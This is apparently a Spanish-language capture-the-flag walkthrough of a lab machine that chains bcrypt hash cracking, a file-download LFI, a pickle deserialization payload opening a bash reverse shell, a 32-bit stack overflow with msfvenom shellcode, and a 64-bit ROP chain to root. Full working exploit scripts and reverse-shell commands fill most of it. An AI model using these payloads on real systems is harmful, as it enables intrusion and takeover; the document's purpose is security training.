<figure><img src="/files/l2TKMv2yvCwXDvBTsrMB" alt=""><figcaption></figcaption></figure>

> También podemos usar `hashcat`.

Los resultados indican que se asemeja bastante a `bcrypt`, así que procedemos a usar \[\[John the Ripper]].

```js
john --format=bcrypt --wordlist=wordlist.txt hash --fork=4
```

<figure><img src="/files/8Z7HbDY6syVc6VHEXmIy" alt=""><figcaption></figcaption></figure>

Y listo ya tenemos la contraseña correcta:

```js
c.ross@buffered_001337
```

Con las credenciales completas ahora si podemos acceder al nuevo panel de Login, cuando entramos nos encontramos con un nuevo panel de administración:

<figure><img src="/files/DpXGTfSXXezgOJSRiEJ9" alt=""><figcaption></figcaption></figure>

La pagina completa seria:

<figure><img src="/files/K5R5X2wwvRENGbWcZndc" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/EvYuoLbmCz9mtz83FHA7" alt=""><figcaption></figcaption></figure>

Al final podemos ver campos donde podemos ingresar datos, pero no parecen hacer nada.

<figure><img src="/files/NaBhxep32cp0WGUTx13q" alt=""><figcaption></figcaption></figure>

Por ultimo también tenemos un botón que nos descarga un archivo llamado `logins.txt`:

<figure><img src="/files/RIJ3140Pt0i2QlmDFOR1" alt=""><figcaption></figcaption></figure>

Como podemos ver, son los intentos de inicio de sesión al panel de administración, lo que podemos hacer en este punto, es interceptar esa petición para verificar si se acontece un **LFI** y así poder leer información sensible de otros usuarios.

<figure><img src="/files/GslGQu36jIN0NZX6qTlL" alt=""><figcaption></figcaption></figure>

En la petición se ve que se descarga directamente el archivo con el nombre `logins.txt`, podemos modificarlo y poner por ejemplo `/etc/passwd`:

<figure><img src="/files/ejwc3IjqF9slRUsaAeBc" alt=""><figcaption></figcaption></figure>

Al darle a **Forward**, vemos que se descarga el archivo con el mismo nombre `logins.txt`.

<figure><img src="/files/HY7VphjKOHxFObHZfQSu" alt=""><figcaption></figcaption></figure>

Pero al ver su contenido podemos ver que efectivamente se acontece un **LFI**.

<figure><img src="/files/qDLIW0UswisPEUW9qAgZ" alt=""><figcaption></figcaption></figure>

Echando un vistazo podemos ver que existen 3 usuarios: **wilson**, **christine** y **tyler**, lógicamente no tenemos acceso a los archivos de **christine** ni de **tyler**, pero podemos buscar si están corriendo algún proceso interesante:

<figure><img src="/files/6WZJwHAT0iSnhNOBaT6K" alt=""><figcaption></figcaption></figure>

> En este caso uso el modulo de `pwncat-cs`.

También podemos usar el comando:

```bash
ps faux
```

Pero como podemos notar en la imagen, **christine** esta corriendo un proceso ejecutando un archivo llamado `app.py`, al conocer la ruta absoluta de dicho archivo, podemos descargarlo mediante el **LFI**.

```js
/home/christine/.site/APP_3411/app.py
```

<figure><img src="/files/boMheUKd47R1K5uxferA" alt=""><figcaption></figcaption></figure>

Le cambiamos el nombre al archivo:

<figure><img src="/files/Uj3nrtgdf1eySuEXlWGx" alt=""><figcaption></figcaption></figure>

Leyendo el archivo encontramos credenciales para otra base de datos que nos podría ser interesante más adelante.

<figure><img src="/files/tSlVICGje7u2ycMMrsRS" alt=""><figcaption></figcaption></figure>

Al final del archivo encontramos una función que parece estar pidiendo algunos datos, entre ellos **mydata**, a su vez **mydata** pide un dato en `base64`, lo decodifica y lo deserializa con `pickle.loads` , esto es potencialmente **vulnerable** a un ataque de deserialización.

<figure><img src="/files/AFj9xen78MSKDSUfDivk" alt=""><figcaption></figcaption></figure>

Los parámetros parecen ser de la parte final del ultimo panel de administración que vimos, donde pide el **nombre de un producto**, **review** y **rating**, en la siguiente imagen podemos ver como se tramitan los datos por POST, menos `mydata`:

<figure><img src="/files/MlZRwpwITgxqfxHuidpi" alt=""><figcaption></figcaption></figure>

Para lograr enviar una cadena especial que sea deserializada y nos logre enviar una consola interactiva, podemos usar el siguiente script:

{% code lineNumbers="true" %}

```python
 #!/usr/bin/env python3
 
 import pickle
 import base64
 import os
 
 class Exploit:
     def __reduce__(self):
         return(os.system, ('bash -c "bash -i >& /dev/tcp/172.17.0.1/1234 0>&1"',))
 
 payload = pickle.dumps(Exploit())
 encoded_payload = base64.b64encode(payload).decode('utf-8')
 print(encoded_payload)
```

{% endcode %}

Lo ejecutamos y obtenemos el siguiente resultado:

<figure><img src="/files/Rl61irONI7UiOuxoBu4A" alt=""><figcaption></figcaption></figure>

Luego usamos el comando `curl` para enviar los datos al sitio web.

* Mandamos los datos mediante POST.
* Con `-b` indicamos la cookie de session.
* Y con el parámetro `-F` mandamos la data en partes.

Luego inicio otro listener en `pwncat` por el puerto 1234.

<figure><img src="/files/DSdc8sr9v15ZHwn0BSYH" alt=""><figcaption></figcaption></figure>

Y apenas mandamos el `curl`, podremos ver lo siguiente:

<figure><img src="/files/Ddm8ql5gQWfT5vhKSHLl" alt=""><figcaption></figcaption></figure>

También podemos ver a que usuario migramos con el comando `sessions --list`.

<figure><img src="/files/pHjlyndjF2MN2cfwVmTu" alt=""><figcaption></figcaption></figure>

Como podemos apreciar en la imagen, somos el usuario `christine`, enumerando las posibles formas de seguir escalando privilegios podemos notar que, estamos en el grupo `ftp` usando el comando `id`.

<figure><img src="/files/QGLZvBmusOYO7Cw2mJNU" alt=""><figcaption></figcaption></figure>

Podemos buscar por archivos o directorios que sean parte del grupo `ftp`, usaremos el comando `find`:

```bash
find / -group ftp 2>/dev/null
```

**Resultado**

<figure><img src="/files/DX7xmR4tC3IXIRlL9Mxq" alt=""><figcaption></figcaption></figure>

Encontramos en la raíz, una carpeta llamada `ftp` con un binario dentro, este nombre del binario es parecido o igual al servicio que corre por el puerto 9000, descargaremos dicho binario.

<figure><img src="/files/IToQ45tziTg8mzxdvDhu" alt=""><figcaption></figcaption></figure>

Ahora lo ejecutaremos.

> En mi caso, lo are dentro de un contenedor docker, la imagen es un kali con todas las herramientas necesarias para hacer reversin.

<figure><img src="/files/JWlnHNHBghmcbSZ2IY7H" alt=""><figcaption></figcaption></figure>

Estando dentro del contenedor y después de darle permisos de ejecución podemos ejecutar el binario:

```bash
./bufferbot
```

**Resultado**

```bash
Server is listening on port 9000
```

Pues al parecer si es el servicio que corre por el puerto 9000, si nos conectamos con `nc` podremos ver:

<figure><img src="/files/OA9BDLuhdhAuEJW2L6PX" alt=""><figcaption></figcaption></figure>

```bash
file bufferbot
```

**Resultado**

```js
bufferbot: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=05901d675607336b0810e7f6aa491fab899737c3, for GNU/Linux 3.2.0, not stripped
```

Podemos ver que es un binario compilado para **Linux** de 32 bit, vamos a analizarlo con `gdb`:

<figure><img src="/files/umJTRkFeeG4mIdlTkjbR" alt=""><figcaption></figcaption></figure>

Ahora corramos el binario y mandemos muchas `A` para ver el comportamiento del binario, ejecutamos en binario poniendo `r`.

<figure><img src="/files/AqgCLwCljhDTE9650r1r" alt=""><figcaption></figcaption></figure>

Luego enviamos muchas `AAAA` mediante `nc`:

<figure><img src="/files/Tt2IaxbHC44cKhEGusPQ" alt=""><figcaption></figcaption></figure>

Por ultimo podemos ver como el binario es propenso a **Buffer Overflow**, ya que nos permite sobrescribir áreas de memoria adyacentes:

<figure><img src="/files/L65rL75048fdHh5vgfiq" alt=""><figcaption></figcaption></figure>

> Si quiere saber más sobre **Buffer Overflow** puede ver [Introducción al Buffer Overflow](https://novahacking.gitbook.io/anonymous17/articulos/introduccion-al-buffer-overflow).

Como siguiente paso lo que are es verificar las protecciones del binario:

<figure><img src="/files/XnggJsLBSPnN5MeUQnKt" alt=""><figcaption></figcaption></figure>

Y nos encontramos con que no tiene ninguna protección, ahora lo primero que are es crear la estructura básica de un exploit para explotar un **Buffer Overflow**:

{% code lineNumbers="true" %}

```python
#!/usr/bin/python3

from pwn import *

def exploit():
    host="127.0.0.1"  # IP a conectar
    port=             # Puerto a conectar

    offset =    # Tamaño exacto antes de EIP
    buffer =    # Relleno antes de sobrescribir EIP
    eip =       # Dirección de jmp ESP en little-endian para 32-bit
    nops =      # NOP sled para estabilidad

    # Shellcode generado con msfvenom

    # Estructura final del payload
    esp = nops + shellcode         # NOP sled seguido del shellcode
    payload = buffer + eip + esp   # Buffer final

    # Envío del exploit al servicio objetivo
    try:
        print("\n[*] Iniciando Ataque...")
        conn=remote(host,port)
        conn.sendline(payload)
        conn.close()
        print("[+] Payload enviado correctamente!!!\n")
    except Exception as e:
        print(f"\n[-] Error al enviar el payload: {e}\n")

if __name__ == '__main__':
    exploit()
```

{% endcode %}

Lo que vamos a hacer es un **shellcode injection**, ya que las protecciones **permite ejecución en la pila**, lo que aremos es utilizar el comando `pattern create` que en **GEF** genera una cadena de caracteres única de 1024 bytes, esto nos ayudara a identificar con precisión la dirección en la que ocurre la sobreescritura de la dirección de retorno u otros registros críticos.

```bash
pattern create
```

**Resultado**

```js
[+] Generating a pattern of 1024 bytes (n=4)
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaak
[+] Saved as '$_gef0'
```

<figure><img src="/files/3ee4gOdrQ0b9INJLEo3l" alt=""><figcaption></figcaption></figure>

Ahora lo que aremos es volver a correr el programa escribiendo de nuevo `r` en `gdb` y como datos mandamos el **payload** que nos dio `pattern create`, de primeras no nos funciona por que el **payload** es muy pequeño, así que simplemente creamos uno más grande:

```bash
pattern create 9999
```

Ahora si enviamos el **payload**:

<figure><img src="/files/PRgpRthZTkQRXAIJM4zd" alt=""><figcaption></figcaption></figure>

Podemos ver como el binario se rompe, ahora bien lo que debemos ver en este paso es el `$eip`:

```js
$eip   : 0x6b6e6161 ("aank"?)
```

Lo que queremos saber es cuantos caracteres necesitamos antes de sobrescribir el `$eip`, esto lo podemos contar manualmente o usar el comando `pattern` de nuevo:

```r
pattern offset $eip -l 9999
```

**Resultado**

```js
[+] Searching for '61616e6b'/'6b6e6161' with period=4
[+] Found at offset 1337 (little-endian search) likely
```

<figure><img src="/files/kU6nkmwiCopUh2dcKssu" alt=""><figcaption></figcaption></figure>

Nos dice que en total son **1337** caracteres, que son necesarios introducir en el binario para luego sobrescribir el `$eip`, ahora sabiendo esto podemos verificarlo de la siguiente manera:

```python
python3 -c 'print("A"*1337 + "B"*4 + "C"*100)'
```

Para enviar directamente el **payload**

```python
python3 -c 'print("A"*1337 + "B"*4 + "C"*100)' | nc 127.0.0.1 9000
```

<figure><img src="/files/sh5raH4ebQzGSKlA50pj" alt=""><figcaption></figcaption></figure>

**Resultado**

<figure><img src="/files/rKyMQXxXAIpSJ5z9f4aL" alt=""><figcaption></figcaption></figure>

Y efectivamente ahora el `$eip` vale:

```js
$eip   : 0x42424242 ("BBBB"?)
```

Por lo tanto, ahora estamos seguro de que podemos sobrescribir el `$eip` y que son necesarios **1337** caracteres para llegar a ese punto, ademas la pila o `$esp` vale:

```js
$esp   : 0xffd4c7c0  →  "CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC[...]"
```

Por lo tanto ya podemos ir poniendo los valores en el **exploit**:

```python
port= 9000 # Puerto a conectar

offset = 1337            # Tamaño exacto antes de EIP
buffer = b"A" * offset   # Relleno antes de sobrescribir EIP
```

Ahora el `jmp ESP` es una instrucción en **ensamblador x86** que significa: Saltar a la dirección almacenada en el registro **ESP**.

* En términos simples: Ejecuta el código que está en la pila (`stack`) en ese momento.

**Pasos a seguir**

```js
/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
```

**Luego**:

```js
nasm > jmp ESP
00000000  FFE4              jmp esp
nasm > exit
```

**Primero** -> `nasm_shell.rb`

* Herramienta de Metasploit para convertir instrucciones de ensamblador en opcodes.
* Escribimos `jmp ESP` y nos devuelve `FFE4`, que es el código en hexadecimal de la instrucción en x86.
* Esto nos ayuda a identificar `jmp ESP` en un binario vulnerable.

```js
objdump -D bufferbot | grep "ff e4"
```

**Resultado**

```bash
8049559:	ff e4                	jmp    *%esp
```

**Segundo** -> `objdump`

* `objdump -D`: Desensambla un binario para ver su código máquina.
* `grep "ff e4"`: Busca la instrucción `jmp ESP` en el binario `bufferbot`.
* Nos muestra una dirección (`0x8049559`), donde `jmp ESP` está presente en la memoria.

Algo que debemos tener en cuenta es que en sistemas de 32 bits, las direcciones de memoria se almacenan en **orden "little-endian"**, lo que significa que los bytes menos significativos van primero.

* **Dirección original**: `0x08049559`
* **Orden little-endian**: `"\x59\x95\x04\x08"`

🔥 **¿Para qué se usa?**

* Se sobrescribe **EIP (Extended Instruction Pointer)** con la dirección de `jmp ESP` para redirigir la ejecución a nuestra **shellcode**.

```python
eip = b"\x59\x95\x04\x08"  # Dirección de jmp ESP en little-endian para 32-bit
nops = b"\x90" * 32        # NOP sled para estabilidad
```

**NOP Sled (`nops`)**: Se colocan **32 bytes de `\x90`** antes del shellcode para evitar problemas de precisión al ejecutar la carga útil.

Ahora vamos a crear nuestro **shellcode** con `msfvenom`, un **shellcode** es un código en ensamblador diseñado para ejecutarse en un sistema víctima. Su nombre viene de "shell" porque típicamente abre una **shell inversa** o **bind shell**.

```js
msfvenom -p linux/x86/shell_reverse_tcp LHOST=172.17.0.3 LPORT=1234 -b "\x00" -f py -v shellcode
```

**Resultado**

<figure><img src="/files/k0buU3yKiwbhbk9zS47D" alt=""><figcaption></figcaption></figure>

Lo que usaremos es:

```python
shellcode =  b""
shellcode += b"\xda\xd7\xd9\x74\x24\xf4\xbb\x9c\xc6\x4b\xef"
shellcode += b"\x58\x33\xc9\xb1\x12\x83\xc0\x04\x31\x58\x13"
shellcode += b"\x03\xc4\xd5\xa9\x1a\xc5\x02\xda\x06\x76\xf6"
shellcode += b"\x76\xa3\x7a\x71\x99\x83\x1c\x4c\xda\x77\xb9"
shellcode += b"\xfe\xe4\xba\xb9\xb6\x63\xbc\xd1\xe4\x85\x3e"
shellcode += b"\x22\x9d\xa7\x3e\x20\x8f\x21\xdf\x98\x49\x62"
shellcode += b"\x71\x8b\x26\x81\xf8\xca\x84\x06\xa8\x64\x79"
shellcode += b"\x28\x3e\x1c\xed\x19\xef\xbe\x84\xec\x0c\x6c"
shellcode += b"\x04\x66\x33\x20\xa1\xb5\x34"
```

**En este caso**, el shellcode que generé crea una **reverse shell**, es decir, **se conecta de vuelta a mi máquina atacante** en el puerto `1234`.

**Opciones explicadas:**

* `-p linux/x86/shell_reverse_tcp`: Usa un payload para Linux de **arquitectura x86** que hace una shell reversa.
* `LHOST=172.17.0.3`: La IP de mi máquina atacante.
* `LPORT=1234`: El puerto en el que recibiré la conexión.
* `-b "\x00"`: Evita el **byte nulo (`\x00`)**, porque corta cadenas en `C` y puede romper el exploit.
* `-f py -v shellcode`: Genera el payload en formato **Python** con la variable llamada `shellcode`.

> Otras cadenas que pueden romper el exploit, también conocido como **badchars** son:>\
> -> `\x00\x0A\x0D\xFF`

El resultado fue un **shellcode de 95 bytes**, codificado con `x86/shikata_ga_nai` (un encoder polimórfico que lo hace más difícil de detectar).

Nuestro exploit quedaría de la siguiente manera:

{% code lineNumbers="true" %}

```python
#!/usr/bin/python3

from pwn import *

def exploit():
    host="127.0.0.1"  # IP a conectar
    port= 9000        # Puerto a conectar

    offset = 1337              # Tamaño exacto antes de EIP
    buffer = b"A" * offset     # Relleno antes de sobrescribir EIP
    eip = b"\x59\x95\x04\x08"  # Dirección de jmp ESP en little-endian para 32-bit
    nops = b"\x90" * 32        # NOP sled para estabilidad

    # Shellcode generado con msfvenom
    shellcode =  b""
    shellcode += b"\xda\xd7\xd9\x74\x24\xf4\xbb\x9c\xc6\x4b\xef"
    shellcode += b"\x58\x33\xc9\xb1\x12\x83\xc0\x04\x31\x58\x13"
    shellcode += b"\x03\xc4\xd5\xa9\x1a\xc5\x02\xda\x06\x76\xf6"
    shellcode += b"\x76\xa3\x7a\x71\x99\x83\x1c\x4c\xda\x77\xb9"
    shellcode += b"\xfe\xe4\xba\xb9\xb6\x63\xbc\xd1\xe4\x85\x3e"
    shellcode += b"\x22\x9d\xa7\x3e\x20\x8f\x21\xdf\x98\x49\x62"
    shellcode += b"\x71\x8b\x26\x81\xf8\xca\x84\x06\xa8\x64\x79"
    shellcode += b"\x28\x3e\x1c\xed\x19\xef\xbe\x84\xec\x0c\x6c"
    shellcode += b"\x04\x66\x33\x20\xa1\xb5\x34"

    # Estructura final del payload
    esp = nops + shellcode         # NOP sled seguido del shellcode
    payload = buffer + eip + esp   # Buffer final

    # Envío del exploit al servicio objetivo
    try:
        print("\n[*] Iniciando Ataque...")
        conn=remote(host,port)
        conn.sendline(payload)
        conn.close()
        print("[+] Payload enviado correctamente!!!\n")
    except Exception as e:
        print(f"\n[-] Error al enviar el payload: {e}\n")

if __name__ == '__main__':
    exploit()
```

{% endcode %}

Ahora ejecutemos el binario, luego pongámonos en escucha por el puerto **1234** y por ultimo ejecutemos el exploit:

<figure><img src="/files/UUZ9bRBZyrW4brN2Aa86" alt=""><figcaption></figcaption></figure>

Y vemos que todo funciona correctamente:

* A la izquierda vemos como se inyecta el **shellcode**.
* En la parte superior derecha se ejecuta el exploit.
* Y debajo se recibe la **Reverse Shells**.

Ahora hagamos lo mismo con el binario del servidor:

> Recordar cambiar el **shellcode** con la IP y puerto correspondiente.

Nos ponemos en escucha en mi caso por el puerto **8888**:

<figure><img src="/files/IfNaVuQkSxZHVidVr51R" alt=""><figcaption></figcaption></figure>

Procedemos a ejecutar el exploit:

<figure><img src="/files/JD4GMBItn2eJWdi9VZhq" alt=""><figcaption></figcaption></figure>

> Nos conectamos a la **127.0.0.1** porque hay es donde hemos redirigido el servicio interno del servidor que vulneramos.

Y podremos ver como recibimos la **Reverse Shells**, ademas ejecutando `sessions --list`, podemos ver como ahora nos pasamos al usuario `tyler`.

<figure><img src="/files/58bGgkVGSdNUNR8PnUT8" alt=""><figcaption></figcaption></figure>

Apenas entramos a la **Bash** de la **Reverse Shells**, encontramos un archivo llamado `shell` con permisos **SUID** perteneciente a **root**.

<figure><img src="/files/y4QZrFih7zOjFvp0wNaG" alt=""><figcaption></figcaption></figure>

Si lo ejecutamos, nos devuelve una shell que pareciera ser de **root**, pero algunos comandos no nos deja ejecutarlos:

<figure><img src="/files/KZ4MmOEA495eRpvhFMOc" alt=""><figcaption></figcaption></figure>

> Si ingresamos muchas **AAA**, nos devuelve:

```js
[!] YOU GOT R007 - C0NGR47ULA710N5 [!]
Segmentation fault (core dumped)
```

Por lo cual podemos intuir que estamos de nuevo frente a un **Buffer Overflow**, lo descargaremos y pasaremos al contenedor **Kali**.

<figure><img src="/files/M9Pd58hcFXcXAi3SyYEQ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/VqDSlEDzRFSobcEJ4JZn" alt=""><figcaption></figcaption></figure>

Como podemos apreciar en la imagen, el binario es de **64** bits, ademas de que **NX** esta habilitado lo cual nos impide la ejecución del un **shellcode**, ahora abramos el binario con **gdb**:

```js
gdb ./shell -q
```

<figure><img src="/files/Hjpzt4DnDxiSzNqZ2Nle" alt=""><figcaption></figcaption></figure>

Ahora como **NX** esta habilitado, otro vector de entrada que se nos puede ocurrir es **ROP**, para ver los posibles **gadgets** primero enumeramos las funciones del programa:

```js
info functions
```

<figure><img src="/files/AQ8D6Xud2dpOv00vcRmz" alt=""><figcaption></figcaption></figure>

Podemos notar 2 funciones interesantes: `_x1` y `_x2`, aunque lo primero que aremos es ir creando el exploit, debemos tener en cuenta que esta vez ejecutaremos el exploit en el mismo servidor, dado que si usamos librerías como **pwntools** nos dará error por no estar disponible esta librería en el servidor, revisando un poco encontramos otra librería que nos puede ser útil llamada `pexpect`.

<figure><img src="/files/9OnZd8FyChhUDGmoFMo8" alt=""><figcaption></figcaption></figure>

> La librería `pwntools` no de importa a diferencia de `pexpect`, ademas de que `pip` no esta instalado.

Ahora bien, volvamos a **gdb** para ver la función `_x1`:

```js
disas _x1
```

**Resultado**

<figure><img src="/files/XT265SA3k1jXxyOp0R6Z" alt=""><figcaption></figcaption></figure>

Esta función solo hace un `pop r13` que servirá para meter un valor en el registro `r13`, hacemos lo mismo con `_x2`:

<figure><img src="/files/UrbFNlJQFg6pFPtNcj5V" alt=""><figcaption></figcaption></figure>

La función `_x2` es más útil ya que está moviendo el tope de la pila (`rsp`), al registro `rdi`, y después esta saltando a `r13`, recordando la convención de llamadas **linux x64**, van los argumentos del 1 al 6: `rdi,rsi,rdx,rcx,r8,r9` después esta haciendo un salto a `r13`, en la función `_x1`, tenía una dirección que estaba haciendo un `pop r13`, lo que nos permite ingresar un valor a `r13`, por lo tanto en `r13` podríamos cargar la dirección de **system\@plt** y en `rsp` un `"/bin/sh\x00"` para que se convierta en el primer argumento `rdi` y así se convierta en un `system(/bin/sh)` y me de una consola interactiva.

Primero vamos a buscar el desfase total hasta `rsp` que es donde vamos a cargar la cadena `"/bin/sh\x00"`, así que vamos a crear una cadena especial con `gdb`.

```js
pattern create 300
```

**Resultado**

```js
[+] Generating a pattern of 300 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
[+] Saved as '$_gef1'
```

Enviemos la cadena:

<figure><img src="/files/MOvZBfCX3JhYqN7OYfcZ" alt=""><figcaption></figcaption></figure>

Vemos que los registros se están sobrescribiendo así que buscamos el desfase hasta `rsp`.

<figure><img src="/files/Aunqjwd2PNme4bLG8v54" alt=""><figcaption></figcaption></figure>

Nos dice que son **136** bytes, para asegurarnos de que este en el tope de `rsp` vamos a sustraer la cantidad de bytes de la cadena `/bin/sh\x00` del desfase de `rsp`, en nuestro caso seria `136 - 8 = 128` de desfase, después enviamos la cadena `/bin/sh\x00`, luego de sigue ingresar la dirección de **system** a `r13`, por lo cual usamos la dirección de `pop r13` para poder ingresar un valor en `r13`, para saber la dirección de **system** debemos ejecutar el siguiente comando:

```js
objdump -D shell | grep system
```

**Resultado**

<figure><img src="/files/f30s8OGfJiwquIxEPFPZ" alt=""><figcaption></figcaption></figure>

La dirección de `system@plt` seria -> `0x401040`, finalmente cargamos la dirección de la función `_x2` para que ejecute los valores cargados en los registros, de tal forma que el **exploit** nos quedaría de la siguiente manera:

{% code lineNumbers="true" %}

```python
#!/usr/bin/env python3

import struct
import pexpect

def p64(val):
    return struct.pack("<Q", val)

buffer = b"\x55" * 128
bin_sh = b"/bin/sh\x00"
pop_r13 = p64(0x40149d)
system_plt = p64(0x401040)
_x2 = p64(0x4014a3)

payload = buffer + bin_sh + pop_r13 + system_plt + _x2

p = pexpect.spawn("./shell")
p.send(payload)
p.interact()
```

{% endcode %}

Subimos el exploit al servidor mediante el modulo `upload` y ejecutamos:

<figure><img src="/files/96KiYgA5WCGjuOm2mC8V" alt=""><figcaption></figcaption></figure>

Y lo hemos logrado, ahora si somos **root**, si queremos una **Bash** simplemente lo escribimos.

```bash
bash
```

<figure><img src="/files/p8peDKataAigky2GFA6L" alt=""><figcaption></figcaption></figure>

Y eso seria todo.
